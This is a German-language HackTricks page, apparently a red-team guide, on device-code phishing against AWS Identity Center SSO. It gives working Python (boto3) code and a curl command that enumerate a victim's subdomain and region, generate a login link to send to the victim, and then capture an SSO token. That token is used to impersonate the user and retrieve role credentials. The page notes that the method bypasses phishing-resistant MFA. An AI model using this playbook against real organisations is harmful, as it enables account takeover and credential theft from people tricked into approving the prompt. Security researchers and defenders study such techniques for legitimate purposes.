AWS - Identity Center & SSO Unauthenticated Enum

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

AWS Device Code Phishing

Ursprünglich vorgeschlagen in diesem Blogbeitrag, ist es möglich, einen Link an einen Benutzer zu senden, der AWS SSO verwendet, und wenn der Benutzer akzeptiert, kann der Angreifer ein Token erhalten, um den Benutzer zu impersonieren und auf alle Rollen zuzugreifen, auf die der Benutzer im Identity Center zugreifen kann.

Um diesen Angriff durchzuführen, sind die Voraussetzungen:

  • Das Opfer muss Identity Center verwenden
  • Der Angreifer muss die Subdomain kennen, die vom Opfer verwendet wird <victimsub>.awsapps.com/start

Nur mit den vorherigen Informationen kann der Angreifer einen Link an den Benutzer senden, der, wenn er akzeptiert wird, dem Angreifer Zugriff auf das AWS-Benutzerkonto gewährt.

Angriff

  1. Finden der Subdomain

Der erste Schritt des Angreifers besteht darin, die Subdomain herauszufinden, die das Opferunternehmen in ihrem Identity Center verwendet. Dies kann über OSINT oder Raten + BF erfolgen, da die meisten Unternehmen hier ihren Namen oder eine Variation ihres Namens verwenden werden.

Mit diesen Informationen ist es möglich, die Region zu ermitteln, in der das Identity Center konfiguriert wurde:

bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Generiere den Link für das Opfer & sende ihn

Führe den folgenden Code aus, um einen AWS SSO-Login-Link zu generieren, damit das Opfer sich authentifizieren kann.
Für die Demo führe diesen Code in einer Python-Konsole aus und verlasse sie nicht, da du später einige Objekte benötigst, um das Token zu erhalten:

python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Sende den generierten Link an das Opfer mit deinen großartigen Social-Engineering-Fähigkeiten!

  1. Warte, bis das Opfer es akzeptiert

Wenn das Opfer bereits bei AWS angemeldet war, muss es nur die Berechtigungen akzeptieren. Wenn nicht, muss es sich anmelden und dann die Berechtigungen akzeptieren.
So sieht die Aufforderung heutzutage aus:

  1. Erhalte SSO-Zugriffstoken

Wenn das Opfer die Aufforderung akzeptiert hat, führe diesen Code aus, um ein SSO-Token zu generieren, das den Benutzer impersoniert:

python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Das SSO-Zugriffstoken ist 8 Stunden gültig.

  1. Benutzer impersonieren
python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing des unphishbaren MFA

Es ist interessant zu wissen, dass der vorherige Angriff auch funktioniert, wenn ein "unphishbarer MFA" (webAuth) verwendet wird. Das liegt daran, dass der vorherige Workflow niemals die verwendete OAuth-Domain verlässt. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Anmeldedomain ersetzen muss, ist im Fall des Gerätecode-Workflows vorgesehen, dass ein Code von einem Gerät bekannt ist und der Benutzer sich sogar an einem anderen Gerät anmelden kann. Wenn die Eingabeaufforderung akzeptiert wird, kann das Gerät, nur durch Kenntnis des ursprünglichen Codes, Anmeldeinformationen für den Benutzer abrufen.

Für weitere Informationen dazu prüfen Sie diesen Beitrag.

Automatische Werkzeuge

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks